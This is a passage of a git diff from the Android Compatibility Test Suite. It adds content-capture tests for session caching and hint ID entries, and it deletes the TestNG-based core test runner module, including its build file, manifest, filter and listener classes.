+        // Assert just the relevant events
+        assertSessionResumed(events, 0);
+        assertViewTreeStarted(events, 1);
+        assertDecorViewAppeared(events, 2, decorView);
+        assertViewAppeared(events, 3, grandpa2, decorView.getAutofillId());
+        assertViewAppeared(events, 4, grandpa1, grandpa2.getAutofillId());
+
+        // Assert for session lifecycle events.
+        assertSessionResumed(events, 5);
+        assertSessionPaused(events, 6);
+
+        assertViewWithUnknownParentAppeared(events, 7, session.id, customViewRef.get());
+        assertViewTreeFinished(events, 8);
+        assertSessionPaused(events, 9);
+
+        activity.assertInitialViewsDisappeared(events, additionalEvents);
+    }
+
+    /**
      * Tests when the view has virtual children but it doesn't return right away and calls
      * the session notification methods instead - this is wrong because the main view will be
      * notified last, but we cannot prevent the apps from doing so...
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
index ea22140..aa4fa9e 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -122,6 +122,46 @@
     }
 
     @Test
+    public void testContentCaptureSessionCache() throws Exception {
+        final CtsContentCaptureService service = enableService();
+        final ActivityWatcher watcher = startWatcher();
+
+        final ContentCaptureContext clientContext = newContentCaptureContext();
+
+        final AtomicReference<ContentCaptureSession> mainSessionRef = new AtomicReference<>();
+        final AtomicReference<ContentCaptureSession> childSessionRef = new AtomicReference<>();
+
+        LoginActivity.onRootView((activity, rootView) -> {
+            final ContentCaptureSession mainSession = rootView.getContentCaptureSession();
+            mainSessionRef.set(mainSession);
+            final ContentCaptureSession childSession = mainSession
+                    .createContentCaptureSession(clientContext);
+            childSessionRef.set(childSession);
+
+            rootView.setContentCaptureSession(childSession);
+            // Already called getContentCaptureSession() earlier, use cached session (main).
+            assertThat(rootView.getContentCaptureSession()).isEqualTo(childSession);
+
+            rootView.setContentCaptureSession(mainSession);
+            assertThat(rootView.getContentCaptureSession()).isEqualTo(mainSession);
+
+            rootView.setContentCaptureSession(childSession);
+            assertThat(rootView.getContentCaptureSession()).isEqualTo(childSession);
+        });
+
+        final LoginActivity activity = launchActivity();
+        watcher.waitFor(RESUMED);
+
+        activity.finish();
+        watcher.waitFor(DESTROYED);
+
+        final ContentCaptureSessionId childSessionId = childSessionRef.get()
+                .getContentCaptureSessionId();
+
+        assertSessionId(childSessionId, activity.getRootView());
+    }
+
+    @Test
     public void testSimpleLifecycle_rootViewSession() throws Exception {
         final CtsContentCaptureService service = enableService();
         final ActivityWatcher watcher = startWatcher();
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
index 5ece59f..67d6670 100644
--- a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/unit/ViewNodeTest.java
@@ -143,6 +143,9 @@
 
         assertThrows(NullPointerException.class, () -> structure.setTextIdEntry(null));
         assertThat(node.getTextIdEntry()).isNull();
+
+        assertThrows(NullPointerException.class, () -> structure.setHintIdEntry(null));
+        assertThat(node.getHintIdEntry()).isNull();
     }
 
     @Test
@@ -363,6 +366,7 @@
         structure.setText("IGNORE ME!");
         structure.setText("Now we're talking!", 4, 8);
         structure.setHint("Soylent Green is SPOILER ALERT");
+        structure.setHintIdEntry("HINT ID ENTRY");
         structure.setTextStyle(15.0f, 16, 23, 42);
         structure.setTextLines(new int[] {4,  8, 15} , new int[] {16, 23, 42});
         return structure;
@@ -377,6 +381,7 @@
         assertThat(node.getTextSelectionStart()).isEqualTo(4);
         assertThat(node.getTextSelectionEnd()).isEqualTo(8);
         assertThat(node.getHint()).isEqualTo("Soylent Green is SPOILER ALERT");
+        assertThat(node.getHintIdEntry()).isEqualTo("HINT ID ENTRY");
         assertThat(node.getTextSize()).isWithin(1.0e-10f).of(15.0f);
         assertThat(node.getTextColor()).isEqualTo(16);
         assertThat(node.getTextBackgroundColor()).isEqualTo(23);
diff --git a/tests/core/runner/Android.bp b/tests/core/runner/Android.bp
deleted file mode 100644
index de3d724..0000000
--- a/tests/core/runner/Android.bp
+++ /dev/null
@@ -1,48 +0,0 @@
-// Copyright (C) 2009 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-//      http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-//==========================================================
-// Build the core runner.
-//==========================================================
-
-// Build library
-java_library {
-    name: "cts-core-test-runner",
-
-    srcs: ["src/**/*.java"],
-    static_libs: [
-        "compatibility-device-util",
-        "android-support-test",
-        "vogarexpect",
-        "testng",
-    ],
-
-    libs: ["android.test.runner.stubs"],
-    sdk_version: "test_current",
-
-}
-
-//==========================================================
-// Build the run listener
-//==========================================================
-
-// Build library
-java_library {
-    name: "cts-test-runner",
-
-    srcs: ["src/com/android/cts/runner/**/*.java"],
-    static_libs: ["android-support-test"],
-    sdk_version: "current",
-
-}
diff --git a/tests/core/runner/AndroidManifest.xml b/tests/core/runner/AndroidManifest.xml
deleted file mode 100644
index 001e6f2..0000000
--- a/tests/core/runner/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.runner">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
-
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests"/>
-
-</manifest>
diff --git a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java b/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
deleted file mode 100644
index 4419b4b..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/ExpectationBasedFilter.java
+++ /dev/null
@@ -1,145 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.core.runner;
-
-import android.os.Bundle;
-import android.util.Log;
-import com.google.common.base.Splitter;
-import java.io.IOException;
-import java.util.LinkedHashSet;
-import java.util.List;
-import java.util.Set;
-import javax.annotation.Nullable;
-import org.junit.runner.Description;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runners.ParentRunner;
-import org.junit.runners.Suite;
-import vogar.expect.Expectation;
-import vogar.expect.ExpectationStore;
-import vogar.expect.ModeId;
-import vogar.expect.Result;
-
-/**
- * Filter out tests/classes that are not requested or which are expected to fail.
- *
- * <p>This filter has to handle both a hierarchy of {@code Description descriptions} that looks
- * something like this:
- * <pre>
- * Suite
- *     Suite
- *         Suite
- *             ParentRunner
- *                 Test
- *                 ...
- *             ...
- *         ParentRunner
- *             Test
- *             ...
- *         ...
- *     Suite
- *         ParentRunner
- *             Test
- *             ...
- *         ...
- *     ...
- * </pre>
- *
- * <p>It cannot filter out the non-leaf nodes in the hierarchy, i.e. {@link Suite} and
- * {@link ParentRunner}, as that would prevent it from traversing the hierarchy and finding
- * the leaf nodes.
- */
-class ExpectationBasedFilter extends Filter {
-
-    static final String TAG = "ExpectationBasedFilter";
-
-    private static final String ARGUMENT_EXPECTATIONS = "core-expectations";
-
-    private static final Splitter CLASS_LIST_SPLITTER = Splitter.on(',').trimResults();
-
-    private final ExpectationStore expectationStore;
-
-    private static List<String> getExpectationResourcePaths(Bundle args) {
-        return CLASS_LIST_SPLITTER.splitToList(args.getString(ARGUMENT_EXPECTATIONS));
-    }
-
-    public ExpectationBasedFilter(Bundle args) {
-        ExpectationStore expectationStore = null;
-        try {
-            // Get the set of resource names containing the expectations.
-            Set<String> expectationResources = new LinkedHashSet<>(
-                getExpectationResourcePaths(args));
-            Log.i(TAG, "Loading expectations from: " + expectationResources);
-            expectationStore = ExpectationStore.parseResources(
-                getClass(), expectationResources, ModeId.DEVICE);
-        } catch (IOException e) {
-            Log.e(TAG, "Could not initialize ExpectationStore: ", e);
-        }
-
-        this.expectationStore = expectationStore;
-    }
-
-    @Override
-    public boolean shouldRun(Description description) {
-        // Only filter leaf nodes. The description is for a test if and only if it is a leaf node.
-        // Non-leaf nodes must not be filtered out as that would prevent leaf nodes from being
-        // visited in the case when we are traversing the hierarchy of classes.
-        Description testDescription = getTestDescription(description);
-        if (testDescription != null) {
-            String className = testDescription.getClassName();
-            String methodName = testDescription.getMethodName();
-            String testName = className + "#" + methodName;
-
-            if (expectationStore != null) {
-                Expectation expectation = expectationStore.get(testName);
-                if (expectation.getResult() != Result.SUCCESS) {
-                    Log.d(TAG, "Excluding test " + testDescription
-                            + " as it matches expectation: " + expectation);
-                    return false;
-                }
-            }
-        }
-
-        return true;
-    }
-
-    private Description getTestDescription(Description description) {
-        List<Description> children = description.getChildren();
-        // An empty description is by definition a test.
-        if (children.isEmpty()) {
-            return description;
-        }
-
-        // Handle initialization errors that were wrapped in an ErrorReportingRunner as a special
-        // case. This is needed because ErrorReportingRunner is treated as a suite of Throwables,
-        // (where each Throwable corresponds to a test called initializationError) and so its
-        // description contains children, one for each Throwable, and so is not treated as a test
-        // to filter. Unfortunately, it does not support Filterable so this filter is never applied
-        // to its children.
-        // See https://github.com/junit-team/junit/issues/1253
-        Description child = children.get(0);
-        String methodName = child.getMethodName();
-        if ("initializationError".equals(methodName)) {
-            return child;
-        }
-
-        return null;
-    }
-
-    @Override
-    public String describe() {
-        return "TestFilter";
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
deleted file mode 100644
index 7a68a8b..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNGTestRunListener.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import java.util.Arrays;
-import java.util.Collections;
-import java.util.LinkedHashMap;
-import java.util.Map;
-
-/**
- * Listener for TestNG runs that provides gtest-like console output.
- *
- * Prints a message like [RUN], [OK], [ERROR], [SKIP] to stdout
- * as tests are being executed with their status.
- *
- * This output is also saved as the device logs (logcat) when the test is run through
- * cts-tradefed.
- */
-public class SingleTestNGTestRunListener implements org.testng.ITestListener {
-    private int mTestStarted = 0;
-
-    private Map<String, Throwable> failures = new LinkedHashMap<>();
-
-    private static class Prefixes {
-        @SuppressWarnings("unused")
-        private static final String INFORMATIONAL_MARKER =  "[----------]";
-        private static final String START_TEST_MARKER =     "[ RUN      ]";
-        private static final String OK_TEST_MARKER =        "[       OK ]";
-        private static final String ERROR_TEST_RUN_MARKER = "[    ERROR ]";
-        private static final String SKIPPED_TEST_MARKER =   "[     SKIP ]";
-        private static final String TEST_RUN_MARKER =       "[==========]";
-    }
-
-    // How many tests did TestNG *actually* try to run?
-    public int getNumTestStarted() {
-      return mTestStarted;
-    }
-
-    public Map<String, Throwable> getFailures() {
-        return Collections.unmodifiableMap(failures);
-    }
-
-    @Override
-    public void onFinish(org.testng.ITestContext context) {
-        System.out.println(String.format("%s", Prefixes.TEST_RUN_MARKER));
-    }
-
-    @Override
-    public void onStart(org.testng.ITestContext context) {
-        System.out.println(String.format("%s", Prefixes.INFORMATIONAL_MARKER));
-    }
-
-    @Override
-    public void onTestFailedButWithinSuccessPercentage(org.testng.ITestResult result) {
-        onTestFailure(result);
-    }
-
-    @Override
-    public void onTestFailure(org.testng.ITestResult result) {
-        // All failures are coalesced into one '[ FAILED ]' message at the end
-        // This is because a single test method can run multiple times with different parameters.
-        // Since we only test a single method, it's safe to combine all failures into one
-        // failure at the end.
-        //
-        // The big pass/fail is printed from SingleTestNGTestRunner, not from the listener.
-        String id = getId(result);
-        Throwable throwable = result.getThrowable();
-        System.out.println(String.format("%s %s ::: %s", Prefixes.ERROR_TEST_RUN_MARKER,
-                id, stringify(throwable)));
-        failures.put(id, throwable);
-    }
-
-    @Override
-    public void onTestSkipped(org.testng.ITestResult result) {
-        System.out.println(String.format("%s %s", Prefixes.SKIPPED_TEST_MARKER,
-              getId(result)));
-    }
-
-    @Override
-    public void onTestStart(org.testng.ITestResult result) {
-        mTestStarted++;
-        System.out.println(String.format("%s %s", Prefixes.START_TEST_MARKER,
-              getId(result)));
-    }
-
-    @Override
-    public void onTestSuccess(org.testng.ITestResult result) {
-        System.out.println(String.format("%s", Prefixes.OK_TEST_MARKER));
-    }
-
-    private String getId(org.testng.ITestResult test) {
-        // TestNG is quite complicated since tests can have arbitrary parameters.
-        // Use its code to stringify a result name instead of doing it ourselves.
-
-        org.testng.remote.strprotocol.TestResultMessage msg =
-                new org.testng.remote.strprotocol.TestResultMessage(
-                    null, /*suite name*/
-                    null, /*test name -- display the test method name instead */
-                    test);
-
-        String className = test.getTestClass().getName();
-        //String name = test.getMethod().getMethodName();
-        return String.format("%s#%s", className, msg.toDisplayString());
-
-    }
-
-    private String stringify(Throwable error) {
-        return Arrays.toString(error.getStackTrace()).replaceAll("\n", " ");
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java b/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
deleted file mode 100644
index deb18df..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/SingleTestNgTestExecutor.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import android.util.Log;
-
-import org.testng.TestNG;
-import org.testng.xml.XmlClass;
-import org.testng.xml.XmlInclude;
-import org.testng.xml.XmlSuite;
-import org.testng.xml.XmlTest;
-
-import java.util.ArrayList;
-import java.util.Collections;
-import java.util.LinkedHashMap;
-import java.util.List;
-import java.util.Map;
-
-/**
- * Test executor to run a single TestNG test method.
- */
-public class SingleTestNgTestExecutor {
-    // Execute any method which is in the class klass.
-    // The klass is passed in separately to handle inherited methods only.
-    // Returns true if all tests pass, false otherwise.
-    public static Result execute(Class<?> klass, String methodName) {
-        if (klass == null) {
-          throw new NullPointerException("klass must not be null");
-        }
-
-        if (methodName == null) {
-          throw new NullPointerException("methodName must not be null");
-        }
-
-        //if (!method.getDeclaringClass().isAssignableFrom(klass)) {
-        //  throw new IllegalArgumentException("klass must match method's declaring class");
-        //}
-
-        SingleTestNGTestRunListener listener = new SingleTestNGTestRunListener();
-
-        // Although creating a new testng "core" every time might seem heavyweight, in practice
-        // it seems to take a mere few milliseconds at most.
-        // Since we're running all the parameteric combinations of a test,
-        // this ends up being neglible relative to that.
-        TestNG testng = createTestNG(klass.getName(), methodName, listener);
-        testng.run();
-
-        if (listener.getNumTestStarted() <= 0) {
-          // It's possible to be invoked here with an arbitrary method name
-          // so print out a warning incase TestNG actually had a no-op.
-          Log.w("TestNgExec", "execute class " + klass.getName() + ", method " + methodName +
-              " had 0 tests executed. Not a test method?");
-        }
-
-        return new Result(testng.hasFailure(), listener.getFailures());
-    }
-
-    private static org.testng.TestNG createTestNG(String klass, String method,
-            SingleTestNGTestRunListener listener) {
-        org.testng.TestNG testng = new org.testng.TestNG();
-        testng.setUseDefaultListeners(false);  // Don't create the testng-specific HTML/XML reports.
-        // It still prints the X/Y tests succeeded/failed summary to stdout.
-
-        // We don't strictly need this listener for CTS, but having it print SUCCESS/FAIL
-        // makes it easier to diagnose which particular combination of a test method had failed
-        // from looking at device logcat.
-        testng.addListener(listener);
-
-        /* Construct the following equivalent XML configuration:
-         *
-         * <!DOCTYPE suite SYSTEM "http://testng.org/testng-1.0.dtd" >
-         * <suite>
-         *   <test>
-         *     <classes>
-         *       <class name="$klass">
-         *         <include name="$method" />
-         *       </class>
-         *     </classes>
-         *   </test>
-         * </suite>
-         *
-         * This will ensure that only a single klass/method is being run by testng.
-         * (It can still be run multiple times due to @DataProvider, with different parameters
-         * each time)
-         */
-        List<XmlSuite> suites = new ArrayList<>();
-        XmlSuite the_suite = new XmlSuite();
-        XmlTest the_test = new XmlTest(the_suite);
-        XmlClass the_class = new XmlClass(klass);
-        XmlInclude the_include = new XmlInclude(method);
-
-        the_class.getIncludedMethods().add(the_include);
-        the_test.getXmlClasses().add(the_class);
-        suites.add(the_suite);
-        testng.setXmlSuites(suites);
-
-        return testng;
-    }
-
-    public static class Result {
-        private final boolean hasFailure;
-        private final Map<String,Throwable> failures;
-
-
-        Result(boolean hasFailure, Map<String, Throwable> failures) {
-            this.hasFailure = hasFailure;
-            this.failures = Collections.unmodifiableMap(new LinkedHashMap<>(failures));
-        }
-
-        public boolean hasFailure() {
-            return hasFailure;
-        }
-
-        public Map<String, Throwable> getFailures() {
-            return failures;
-        }
-    }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java
deleted file mode 100644
index d9bf037..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunner.java
+++ /dev/null
@@ -1,235 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import android.util.Log;
-
-import org.junit.runner.Description;
-import org.junit.runner.Runner;
-import org.junit.runner.manipulation.Filter;
-import org.junit.runner.manipulation.Filterable;
-import org.junit.runner.manipulation.NoTestsRemainException;
-import org.junit.runner.notification.Failure;
-import org.junit.runner.notification.RunNotifier;
-
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.util.HashSet;
-import java.util.Map;
-
-/**
- * A {@link Runner} that can TestNG tests.
- *
- * <p>Implementation note: Avoid extending ParentRunner since that also has
- * logic to handle BeforeClass/AfterClass and other junit-specific functionality
- * that would be invalid for TestNG.</p>
- */
-class TestNgRunner extends Runner implements Filterable {
-
-  private static final boolean DEBUG = false;
-
-  private Description mDescription;
-  /** Class name for debugging. */
-  private String mClassName;
-  /** Don't include the same method names twice. */
-  private HashSet<String> mMethodSet = new HashSet<>();
-
-  /**
-   * @param testClass the test class to run
-   */
-  TestNgRunner(Class<?> testClass) {
-    mDescription = generateTestNgDescription(testClass);
-    mClassName = testClass.getName();
-  }
-
-  // Runner implementation
-  @Override
-  public Description getDescription() {
-    return mDescription;
-  }
-
-  // Runner implementation
-  @Override
-  public int testCount() {
-    if (!descriptionHasChildren(getDescription())) {  // Avoid NPE when description is null.
-      return 0;
-    }
-
-    // We always follow a flat Parent->Leaf hierarchy, so no recursion necessary.
-    return getDescription().testCount();
-  }
-
-  // Filterable implementation
-  @Override
-  public void filter(Filter filter) throws NoTestsRemainException {
-    mDescription = filterDescription(mDescription, filter);
-
-    if (!descriptionHasChildren(getDescription())) {  // Avoid NPE when description is null.
-      if (DEBUG) {
-        Log.d("TestNgRunner",
-            "Filtering has removed all tests :( for class " + mClassName);
-      }
-      throw new NoTestsRemainException();
-    }
-
-    if (DEBUG) {
-      Log.d("TestNgRunner",
-          "Filtering has retained " + testCount() + " tests for class " + mClassName);
-    }
-  }
-
-  // Filterable implementation
-  @Override
-  public void run(RunNotifier notifier) {
-    if (!descriptionHasChildren(getDescription())) {  // Avoid NPE when description is null.
-      // Nothing to do.
-      return;
-    }
-
-    for (Description child : getDescription().getChildren()) {
-      String className = child.getClassName();
-      String methodName = child.getMethodName();
-
-      Class<?> klass;
-      try {
-        klass = Class.forName(className, false, Thread.currentThread().getContextClassLoader());
-      } catch (ClassNotFoundException e) {
-        throw new AssertionError(e);
-      }
-
-      notifier.fireTestStarted(child);
-
-      // Avoid looking at all the methods by just using the string method name.
-      SingleTestNgTestExecutor.Result result = SingleTestNgTestExecutor.execute(klass, methodName);
-      if (result.hasFailure()) {
-        // TODO: get the error messages from testng somehow.
-        notifier.fireTestFailure(new Failure(child, extractException(result.getFailures())));
-      }
-
-      notifier.fireTestFinished(child);
-      // TODO: Check @Test(enabled=false) and invoke #fireTestIgnored instead.
-    }
-  }
-
-  private Throwable extractException(Map<String, Throwable> failures) {
-    if (failures.isEmpty()) {
-      return new AssertionError();
-    }
-    if (failures.size() == 1) {
-      return failures.values().iterator().next();
-    }
-
-    StringBuilder errorMessage = new StringBuilder("========== Multiple Failures ==========");
-    for (Map.Entry<String, Throwable> failureEntry : failures.entrySet()) {
-      errorMessage.append("\n\n=== "). append(failureEntry.getKey()).append(" ===\n");
-      Throwable throwable = failureEntry.getValue();
-      errorMessage
-              .append(throwable.getClass()).append(": ")
-              .append(throwable.getMessage());
-      for (StackTraceElement e : throwable.getStackTrace()) {
-        if (e.getClassName().equals(getClass().getName())) {
-          break;
-        }
-        errorMessage.append("\n  at ").append(e);
-      }
-    }
-    errorMessage.append("\n=======================================\n\n");
-    return new AssertionError(errorMessage.toString());
-  }
-
-
-  /**
-   * Recursively (preorder traversal) apply the filter to all the descriptions.
-   *
-   * @return null if the filter rejects the whole tree.
-   */
-  private static Description filterDescription(Description desc, Filter filter) {
-    if (!filter.shouldRun(desc)) {  // XX: Does the filter itself do the recursion?
-      return null;
-    }
-
-    Description newDesc = desc.childlessCopy();
-
-    // Return leafs.
-    if (!descriptionHasChildren(desc)) {
-      return newDesc;
-    }
-
-    // Filter all subtrees, only copying them if the filter accepts them.
-    for (Description child : desc.getChildren()) {
-      Description filteredChild = filterDescription(child, filter);
-
-      if (filteredChild != null) {
-        newDesc.addChild(filteredChild);
-      }
-    }
-
-    return newDesc;
-  }
-
-  private Description generateTestNgDescription(Class<?> cls) {
-    // Add the overall class description as the parent.
-    Description parent = Description.createSuiteDescription(cls);
-
-    if (DEBUG) {
-      Log.d("TestNgRunner", "Generating TestNg Description for class " + cls.getName());
-    }
-
-    // Add each test method as a child.
-    for (Method m : cls.getDeclaredMethods()) {
-
-      // Filter to only 'public void' signatures.
-      if ((m.getModifiers() & Modifier.PUBLIC) == 0) {
-        continue;
-      }
-
-      if (!m.getReturnType().equals(Void.TYPE)) {
-        continue;
-      }
-
-      // Note that TestNG methods may actually have parameters
-      // (e.g. with @DataProvider) which TestNG will populate itself.
-
-      // Add [Class, MethodName] as a Description leaf node.
-      String name = m.getName();
-
-      if (!mMethodSet.add(name)) {
-        // Overloaded methods have the same name, don't add them twice.
-        if (DEBUG) {
-          Log.d("TestNgRunner", "Already added child " + cls.getName() + "#" + name);
-        }
-        continue;
-      }
-
-      Description child = Description.createTestDescription(cls, name);
-
-      parent.addChild(child);
-
-      if (DEBUG) {
-        Log.d("TestNgRunner", "Add child " + cls.getName() + "#" + name);
-      }
-    }
-
-    return parent;
-  }
-
-  private static boolean descriptionHasChildren(Description desc) {
-    // Note: Although "desc.isTest()" is equivalent to "!desc.getChildren().isEmpty()"
-    // we add the pre-requisite 2 extra null checks to avoid throwing NPEs.
-    return desc != null && desc.getChildren() != null && !desc.getChildren().isEmpty();
-  }
-}
diff --git a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java b/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
deleted file mode 100644
index 2f084b3..0000000
--- a/tests/core/runner/src/com/android/cts/core/runner/support/TestNgRunnerBuilder.java
+++ /dev/null
@@ -1,56 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.core.runner.support;
-
-import java.lang.reflect.Method;
-
-import org.junit.runner.Runner;
-import org.junit.runners.model.RunnerBuilder;
-
-import org.testng.annotations.Test;
-
-/**
- * A {@link RunnerBuilder} that can handle TestNG tests.
- */
-public class TestNgRunnerBuilder extends RunnerBuilder {
-  // Returns a TestNG runner for this class, only if it is a class
-  // annotated with testng's @Test or has any methods with @Test in it.
-  @Override
-  public Runner runnerForClass(Class<?> testClass) {
-    if (isTestNgTestClass(testClass)) {
-      return new TestNgRunner(testClass);
-    }
-
-    return null;
-  }
-
-  private static boolean isTestNgTestClass(Class<?> cls) {
-    // TestNG test is either marked @Test at the class
-    if (cls.getAnnotation(Test.class) != null) {
-      return true;
-    }
-
-    // Or It's marked @Test at the method level
-    for (Method m : cls.getDeclaredMethods()) {
-      if (m.getAnnotation(Test.class) != null) {
-        return true;
-      }
-    }
-
-    return false;
-  }
-}
diff --git a/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java b/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
deleted file mode 100644
index fbbb684..0000000
--- a/tests/core/runner/src/com/android/cts/runner/CrashParserRunListener.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.runner;
-
-import android.support.test.internal.runner.listener.InstrumentationRunListener;
-import android.util.Log;
-import org.junit.runner.Description;
-
-/**
- * A {@link RunListener} for CrashParser. Dumps the test name to logs when
- * tests start.
- */
-public class CrashParserRunListener extends InstrumentationRunListener {
-
-    private static final String TAG = "CrashParserRunListener";
-
-    // Constant must be kept in sync with CrashUtils.java
-    public static final String NEW_TEST_ALERT = "New test starting with name: ";
-
-    @Override
-    public void testStarted(Description description) throws Exception {
-        Log.i(TAG, NEW_TEST_ALERT + description.toString());
-    }
-
-}
diff --git a/tests/core/runner/src/com/android/cts/runner/CtsTestRunListener.java b/tests/core/runner/src/com/android/cts/runner/CtsTestRunListener.java
deleted file mode 100644
index 1f9a939..0000000
--- a/tests/core/runner/src/com/android/cts/runner/CtsTestRunListener.java
+++ /dev/null
@@ -1,262 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.runner;
-
-import android.app.ActivityManager;
-import android.app.Instrumentation;
-import android.app.KeyguardManager;
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.support.test.internal.runner.listener.InstrumentationRunListener;
-import android.text.TextUtils;
-import android.util.Log;
-
-import junit.framework.TestCase;
-
-import org.junit.runner.Description;
-import org.junit.runner.notification.RunListener;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.IOException;
-import java.io.InputStreamReader;
